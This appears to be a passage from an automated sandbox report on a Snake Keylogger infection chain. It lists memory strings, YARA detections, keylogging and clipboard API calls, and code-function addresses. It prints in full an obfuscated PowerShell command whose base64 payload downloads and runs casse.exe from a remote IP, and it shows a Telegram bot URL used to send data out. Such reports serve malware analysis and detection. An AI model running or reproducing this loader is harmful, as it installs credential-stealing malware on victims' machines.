Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: casse.exe, 00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: powershell.exe, 00000003.00000002.1423240015.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: RegSvcs.exe, 00000007.00000002.2521575129.000000000279D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000007.00000002.2521575129.000000000279D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1415187273.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2521575129.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1427179327.0000000007209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1415187273.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: casse.exe, 00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: powershell.exe, 00000003.00000002.1423240015.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1423240015.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1423240015.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1427179327.0000000007209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1430615460.0000000008164000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com64/WindowsPowerShell/v1.0/
Source: powershell.exe, 00000003.00000002.1423240015.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: casse.exe, 00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 6.2.casse.exe.3bb0000.1.raw.unpack, UltraSpeed.cs

.Net Code: VKCodeToUnicode

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BB4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00BB4164

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BB4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00BB4164

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BB3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_00BB3F66

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BA001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

6_2_00BA001C

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BCCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00BCCABC

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"			Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 6.2.casse.exe.3bb0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.casse.exe.3bb0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 6.2.casse.exe.3bb0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.casse.exe.3bb0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.RegSvcs.exe.750000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.RegSvcs.exe.750000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: casse.exe PID: 8360, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 8384, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: This is a third-party compiled AutoIt script.	6_2_00B43B3A
Source: casse.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: casse.exe, 00000006.00000002.1410571315.0000000000BF4000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ee6d3912-8
Source: casse.exe, 00000006.00000002.1410571315.0000000000BF4000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_a1ecfd53-7
Source: casse.exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4edecb8b-9
Source: casse.exe.3.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_d12f52a9-8
Source: casse[1].exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_86120a81-3
Source: casse[1].exe.3.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_c28706dc-4

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\casse[1].exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\casse.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BAA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

6_2_00BAA1EF

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00B98310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_00B98310

Source: C:\Users\user\AppData\Roaming\casse.exe

Code function: 6_2_00BA51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_00BA51BD

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B6D975	6_2_00B6D975
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B621C5	6_2_00B621C5
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B762D2	6_2_00B762D2
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BC03DA	6_2_00BC03DA
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B7242E	6_2_00B7242E
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B625FA	6_2_00B625FA
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B4E6A0	6_2_00B4E6A0
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B566E1	6_2_00B566E1
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B9E616	6_2_00B9E616
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B7878F	6_2_00B7878F
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BA8889	6_2_00BA8889
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B58808	6_2_00B58808
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BC0857	6_2_00BC0857
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B76844	6_2_00B76844
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B6CB21	6_2_00B6CB21
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B76DB6	6_2_00B76DB6
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B56F9E	6_2_00B56F9E
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B53030	6_2_00B53030
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B63187	6_2_00B63187
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B6F1D9	6_2_00B6F1D9
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B41287	6_2_00B41287
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B61484	6_2_00B61484
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B55520	6_2_00B55520
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B67696	6_2_00B67696
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B55760	6_2_00B55760
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B61978	6_2_00B61978
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B79AB5	6_2_00B79AB5
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B4FCE0	6_2_00B4FCE0
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B6BDA6	6_2_00B6BDA6
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B61D90	6_2_00B61D90
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BC7DDB	6_2_00BC7DDB
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B53FE0	6_2_00B53FE0
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B4DF00	6_2_00B4DF00
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_01656598	6_2_01656598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D7C168	7_2_00D7C168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D7CA58	7_2_00D7CA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D72DD1	7_2_00D72DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D77E68	7_2_00D77E68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D74F08	7_2_00D74F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D7B9D0	7_2_00D7B9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D7B9E0	7_2_00D7B9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D74EF8	7_2_00D74EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00D77E59	7_2_00D77E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C51C58	7_2_04C51C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C515F8	7_2_04C515F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C54500	7_2_04C54500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C57770	7_2_04C57770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C56998	7_2_04C56998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5E4C0	7_2_04C5E4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5E4D0	7_2_04C5E4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5BC80	7_2_04C5BC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5048A	7_2_04C5048A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C59C90	7_2_04C59C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C50498	7_2_04C50498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C53C42	7_2_04C53C42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C53C50	7_2_04C53C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5BC71	7_2_04C5BC71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5DC11	7_2_04C5DC11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5DC20	7_2_04C5DC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5CDD6	7_2_04C5CDD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5CDE0	7_2_04C5CDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C515EA	7_2_04C515EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5ED80	7_2_04C5ED80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C50D48	7_2_04C50D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5ED70	7_2_04C5ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5C526	7_2_04C5C526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5C530	7_2_04C5C530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C50D3A	7_2_04C50D3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5A6C8	7_2_04C5A6C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5D681	7_2_04C5D681
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5D690	7_2_04C5D690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5A6B9	7_2_04C5A6B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C59E18	7_2_04C59E18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5F620	7_2_04C5F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5F630	7_2_04C5F630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C52F48	7_2_04C52F48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5AF68	7_2_04C5AF68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5AF78	7_2_04C5AF78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C52F38	7_2_04C52F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5C0CA	7_2_04C5C0CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C508DF	7_2_04C508DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5C0D8	7_2_04C5C0D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C508F0	7_2_04C508F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C54098	7_2_04C54098
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C540A8	7_2_04C540A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C50040	7_2_04C50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5E068	7_2_04C5E068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5E078	7_2_04C5E078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C50006	7_2_04C50006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5B818	7_2_04C5B818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5B828	7_2_04C5B828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5F1C8	7_2_04C5F1C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5F1D8	7_2_04C5F1D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5118F	7_2_04C5118F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C5C988	7_2_04C5C988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C511A0	7_2_04C511A0
